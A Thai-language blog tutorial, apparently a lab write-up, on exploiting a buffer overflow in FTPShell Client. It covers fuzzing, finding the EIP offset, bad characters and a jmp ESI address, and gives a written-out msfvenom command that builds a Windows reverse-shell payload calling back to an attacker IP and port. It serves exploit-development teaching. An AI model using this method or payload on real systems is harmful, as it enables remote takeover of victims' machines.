ขั้นตอนการแฮก FTPShell Client ด้วย Buffer Overflow

Kaori Takase
5 min readJul 5, 2021

Application นี้ก็คือ FTP shell client เป็น application ที่ใช้ในการโจมตี client ใน address จะเป็น address ของ hacker แล้ว port เป็น port ตามที่กำหนดไว้ ดังนั้นเราต้องรู้ ip address ของทั้งสองเครื่องก่อน

ฝั่ง window หรือ client ซึ่ง ip =192.168.2.40 ฝั่ง hacker หรือ server เป็น ip=192.168.2.41

ขั้นตอนแรก เริ่มด้วยการ fuzzing

fuzzing ก็คือการที่ใช้ input เพื่อทดสอบการรั่วไหลของหน่วยความจำ ในตัว application นั้นๆ ซึ่งในที่นี้เราทดสอบส่ง “A” จำนวน 1000 ตัว หรือ การส่งขนาดของ payload เป็นจำนวน 1000 bytes ดูว่าจะเกิดการ crash ของ application หรือไหมแล้วเรากำหนด port เป็น 9999 ค่ะ

หลังจากนั้นก็ run code

ในการทดสอบโปรแกรม ftpshell ใช้ immunity debugger โปรแกรมที่ใช้ในการทำงานเชิงลึกของ application นั้นได้ ไม่ว่าจะเป็นดู คำสั่งของ CPU ดูค่าใน register memory dump และ stack

กดที่fileแล้วก็เลือกที่ ftpshell.exe

program ก็จะเปิดขึ้นมาแล้วใส่ ip address ของ hacker หรือ ฝั่ง server และ port ที่จะโจมตี ตือ 9999 แล้วกด connect

จะเห็นได้ว่า debugger เกิดการ crash แสดงว่าเราสามารถ ส่ง A ไปทับที่ EIP เป็นเลข hex number ทั้ง 4 ตัว ใน EIP register ค่ะ

ซึ่งใน EIP register เป็น EIP Instruction poiter เป็นตัวชี้คำสั่งว่า program นั้น ได้ทำงานอยู่ ดังนั้นเราจำเป็นต้องควบคุมมันค่ะ

ก่อนอื่นเราต้องหาค่าตำแหน่ง buffer ที่เขียนทับ ใน EIP register ใช้คำสั่ง pattern_create.rb ซึ่งเป็นเครื่องมือของ Metasploit framework

โดยเราจะเลือก length เป็น 1500 ควรจะใช้ความยาวให้เยอะๆเพื่อให้เกิด overflow ใช้ทดสอบค่ะ

แล้ว copy ค่าที่ได้ไปทดสอบในโค้ด โดยจะกำหนดเป็นตัวแปร pattern แล้ว โจมตี run codeค่ะ

เมื่อโจมตีสำเร็จ เราก็จะได้ EIP ที่ต้องการ EIP ที่ถูกทับด้วยเลข hex number แล้วก็นำค่านั้นมา query ต่อค่ะ โดยใช้กับคำสั่ง pattern_offset เพื่อคำนวณหา offset ที่เราจะใช้ เป็นจำนวน bytes

ซึ่งในที่นี้เท่ากับ 400 bytesค่ะ

หลังจากนั้นก็มาแก้ไข script โดยนำ offset ที่ได้เป็นจำนวนของ A แล้วทดสอบ ว่าทับค่าจริงไหม และทดสอบ จริงหรือเท็จโดยเราจะใส่ B เข้าไป ถ้าจริง แสดงว่าค่า hexnumber เท่ากับ42 หรือ B ใน ASCII จะไปทับที่ EIP จำนวน 4 ตัวและ C ซึ่งนำไปทดสอบพื้นที่เก็บ shell code C จะประมาณ 500bytes ให้เพียงพอกับพื้นที่ โดยการหักล้างกับ offset และจำนวนของB เพื่อให้สามารถ connectได้

จะเห็นได้ว่า EIP ถูกทับ ด้วยค่าhex number 42 หรือ B จำนวน 4 ตัว แสดงว่าเราสามารถควบคุม EIP ได้ แล้วใน Stack การคำนวณ byte พื้นที่ของ shellcode C ตกอยู่ตำแหน่งที่ 20C ประมาณ 524 bytes ค่ะ

เมื่อคำนวณ พื้นที่ของ shellcode ได้แล้ว ทำต้อง generate shellcode แต่ว่า เวลา generate shellcode เราต้องรู้ Bad character ของ โค้ดก่อน

จึงนำ badchar ของทุกตัวมาทดสอบกับระบบ ใส่ในโค้ด แต่โดยทั่วไปแล้ว badchar คือ 0x00 จึงตัดตัวนี้ออกไป

จึงดัดแปลง script ดังนี้ แล้วshell ให้ทดสอบ ตัว bad character ได้ใน hex dump

เมื่อโจมตี แล้ว run script แล้ว กดคลิกขวาที่ ESP เลือก follow in dump เพื่อมาดู bad character

จะเห็นได้ว่าเกิดเลขที่หายไปคือ 0a ,0d ,22 ซึ่งก็คือ bad charcter นั้นเองค่ะ หลังจากนั้นก็ไปแก้ไขcode โดย ลบ จำนวน bad chaนั้นออกแล้วrunใหม่จะได้

จะเห็นได้ว่าเลข hex numberเรียงจนถึง ff

เมื่อได้ bad charcter แล้ว ต่อไปหา module ที่เราสามารถใช้ในการโจมตี excute shellcode ได้ ใช้คำสั่ง !mona modules ภายใน immunity debugger

อาจตัวเล็กไปหน่อย จะเห็นว่ามี false ที่ modules ที่ ftpshell.exeแสดงว่า ไม่มี SEH และ ASLR

  • ไม่มี SEH หรือ Structured Exception Handling ก็คือไม่มีการป้องกันการเขียนทับ
  • แล้วถ้าไม่มี ASLR หรือ Address space layout randomization คือจะไม่มีการป้องกัน memory ที่โจมตีแบบ buffer-overflow โดยสุ่มตำแหน่ง ที่ระบบ ของ excute code แล้ว โหลดเข้าไปใน memory

ดังนั้นเราก็เลือก ftpshell.exe ใช้ในการโจมตีค่ะ

หลังจากนั้น เลือก เป็น ESI เพราะว่า ทดลองโจมตีแล้วตัวแปรที่เรากำหนดเป็น A กับ K Stackไปทับที่ ESI และ EBP ในตอนนี้จึงเลือกเป็น ESI

แล้ว ESP เป็นชี้ไปที่ด้านบนของ stack แต่ใน ftpshell เป็นแบบ request-response ซึ่งส่งแล้วให้ตอบกลับ แต่ใน ESI มักจะเก็บข้อมูลที่ใช้ทั่วทั้งฟังก์ชันเพราะไม่มีการเปลี่ยนแปลงและ เป็น source index ของ input

หลังจากนั้นใช้คำสั่ง !mona find -s “\xff\xe6” -m ftpshell.exe เพื่อหา return address ของ ESI ในที่นี้เป็น ffx6 ซึ่งเป็น คำสั่ง jump ESI ใน assembly ดังนั้นเราจะเลือกเป็น ESI=00832107ค่ะ จะเลือกเป็นตัวไหนก็ได้ แล้วนำแปรงเป็น little-endian จะได้ ESI”=\x07\x21\x83” จะเรียงจากเลขท้ายอยู่เลขข้างหน้า หรือเป็นการเก็บข้อมูลbyte ที่ต่ำก่อนซึ่งมีความสำคัญรองลงมา เพื่อให้ EIP ชี้ไปที่ jump ESIค่ะ

ต่อมาเป็นการ Generate shell code เป็นรูปแบบ revese_shell โดย เราจะใช้ msfvenom จาก metasploit framework คำสั่ง

msfvenom -a x86 — platform windows -p windows/shell_reverse_tcp LHOST=192.168.2.41 LPORT=5555 EXITFUNC=thread -b “\x00\x0a\x0d\x22” -f c

โดยใช้เป็น ip addressของ hacker แล้วเรากำหนด port เป็น 5555 แล้วใส่ bad charecterที่หามาได้

หลังจากนั้นก็copy แล้วนำมาเป็นตัวแปรชื่อ shellcode

จาก script เพิ่มตัวแปร nop หรือ no operation เข้าไปเท่ากับ x90 เป็นopcode ของ assembly เพื่อให้ shellcode มี พื้นที่ จำนวน20ตัว
ในตัวแปร shell ส่ง A ไป 400 ตัว แล้วหักล้างกับขนาดของ nop และ shellcode เพื่อไม่ให้ส่งมากเกินไป
แล้วเราจะโจมตีทั้งหมดในตัวแปร buffer ค่ะ

เมื่อโจมตี run script โดยport ที่กำหนดคือ 5555

เมื่อได้แล้วลอง ipconfig ดู ip address ซึ่งเป็น ip address ของ เหยื่อหรือ client

--

--